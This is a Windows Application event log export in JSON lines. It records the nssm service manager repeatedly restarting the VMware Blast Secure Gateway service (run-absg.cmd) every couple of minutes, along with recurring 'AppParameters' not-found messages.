{"@timestamp":1646621406697,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153459}}
{"@timestamp":1646621406697,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153460}}
{"@timestamp":1646621406698,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153461}}
{"@timestamp":1646621450691,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":153462}}
{"@timestamp":1646621535199,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153463}}
{"@timestamp":1646621535200,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153464}}
{"@timestamp":1646621535201,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151080","0"]}}},"module":"Application","provider":"nssm","sequence":153465}}
{"@timestamp":1646621535201,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151080","151080","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153466}}
{"@timestamp":1646621535216,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153467}}
{"@timestamp":1646621535217,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153468}}
{"@timestamp":1646621535217,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153469}}
{"@timestamp":1646621535218,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153470}}
{"@timestamp":1646621663775,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153471}}
{"@timestamp":1646621663777,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153472}}
{"@timestamp":1646621663777,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","149100","0"]}}},"module":"Application","provider":"nssm","sequence":153473}}
{"@timestamp":1646621663778,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["149100","149100","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153474}}
{"@timestamp":1646621663794,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153475}}
{"@timestamp":1646621663794,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153476}}
{"@timestamp":1646621663795,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153477}}
{"@timestamp":1646621663796,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153478}}
{"@timestamp":1646621792309,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153479}}
{"@timestamp":1646621792310,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153480}}
{"@timestamp":1646621792311,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","148868","0"]}}},"module":"Application","provider":"nssm","sequence":153481}}
{"@timestamp":1646621792312,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["148868","148868","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153482}}
{"@timestamp":1646621792327,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153483}}
{"@timestamp":1646621792328,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153484}}
{"@timestamp":1646621792328,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153485}}
{"@timestamp":1646621792329,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153486}}
{"@timestamp":1646621920935,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153487}}
{"@timestamp":1646621920935,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153488}}
{"@timestamp":1646621920936,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150600","0"]}}},"module":"Application","provider":"nssm","sequence":153489}}
{"@timestamp":1646621920936,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150600","150600","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153490}}
{"@timestamp":1646621920954,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151084","0"]}}},"module":"Application","provider":"nssm","sequence":153491}}
{"@timestamp":1646621920954,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151084","150600","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153492}}
{"@timestamp":1646621920973,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153493}}
{"@timestamp":1646621920973,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153494}}
{"@timestamp":1646621920974,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153495}}
{"@timestamp":1646621920974,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153496}}
{"@timestamp":1646622049452,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153497}}
{"@timestamp":1646622049454,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153498}}
{"@timestamp":1646622049455,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150136","0"]}}},"module":"Application","provider":"nssm","sequence":153499}}
{"@timestamp":1646622049456,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150136","150136","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153500}}
{"@timestamp":1646622049475,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153501}}
{"@timestamp":1646622049476,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153502}}
{"@timestamp":1646622049477,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153503}}
{"@timestamp":1646622049478,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153504}}
{"@timestamp":1646622177958,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153505}}
{"@timestamp":1646622177960,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153506}}
{"@timestamp":1646622177960,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150348","0"]}}},"module":"Application","provider":"nssm","sequence":153507}}
{"@timestamp":1646622177961,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150348","150348","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153508}}
{"@timestamp":1646622177976,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153509}}
{"@timestamp":1646622177977,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153510}}
{"@timestamp":1646622177977,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153511}}
{"@timestamp":1646622177978,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153512}}
{"@timestamp":1646622306485,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153513}}
{"@timestamp":1646622306487,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153514}}
{"@timestamp":1646622306488,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151548","0"]}}},"module":"Application","provider":"nssm","sequence":153515}}
{"@timestamp":1646622306488,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151548","151548","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153516}}
{"@timestamp":1646622306505,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153517}}
{"@timestamp":1646622306505,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153518}}
{"@timestamp":1646622306506,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153519}}
{"@timestamp":1646622306507,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153520}}
{"@timestamp":1646622435061,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153521}}
{"@timestamp":1646622435062,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153522}}
{"@timestamp":1646622435062,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","148056","0"]}}},"module":"Application","provider":"nssm","sequence":153523}}
{"@timestamp":1646622435063,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["148056","148056","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153524}}
{"@timestamp":1646622435078,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153525}}
{"@timestamp":1646622435079,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153526}}
{"@timestamp":1646622435079,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153527}}
{"@timestamp":1646622435080,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153528}}
{"@timestamp":1646622563576,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153529}}
{"@timestamp":1646622563577,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153530}}
{"@timestamp":1646622563578,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151420","0"]}}},"module":"Application","provider":"nssm","sequence":153531}}
{"@timestamp":1646622563579,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151420","151420","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153532}}
{"@timestamp":1646622563594,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153533}}
{"@timestamp":1646622563595,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153534}}
{"@timestamp":1646622563595,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153535}}
{"@timestamp":1646622563596,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153536}}
{"@timestamp":1646622692086,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153537}}
{"@timestamp":1646622692087,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153538}}
{"@timestamp":1646622692087,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150204","0"]}}},"module":"Application","provider":"nssm","sequence":153539}}
{"@timestamp":1646622692088,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150204","150204","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153540}}
{"@timestamp":1646622692103,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153541}}
{"@timestamp":1646622692104,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153542}}
{"@timestamp":1646622692104,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153543}}
{"@timestamp":1646622692105,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153544}}
{"@timestamp":1646622820599,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153545}}
{"@timestamp":1646622820601,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153546}}
{"@timestamp":1646622820602,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151016","0"]}}},"module":"Application","provider":"nssm","sequence":153547}}
{"@timestamp":1646622820603,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151016","151016","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153548}}
{"@timestamp":1646622820621,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153549}}
{"@timestamp":1646622820622,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153550}}
{"@timestamp":1646622820622,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153551}}
{"@timestamp":1646622820624,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153552}}
{"@timestamp":1646622949628,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153553}}
{"@timestamp":1646622949630,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153554}}
{"@timestamp":1646622949630,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150012","0"]}}},"module":"Application","provider":"nssm","sequence":153555}}
{"@timestamp":1646622949631,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150012","150012","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153556}}
{"@timestamp":1646622949647,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153557}}
{"@timestamp":1646622949647,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153558}}
{"@timestamp":1646622949648,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153559}}
{"@timestamp":1646622949649,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153560}}
{"@timestamp":1646623078135,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153561}}
{"@timestamp":1646623078136,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153562}}
{"@timestamp":1646623078137,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151300","0"]}}},"module":"Application","provider":"nssm","sequence":153563}}
{"@timestamp":1646623078137,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151300","151300","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153564}}
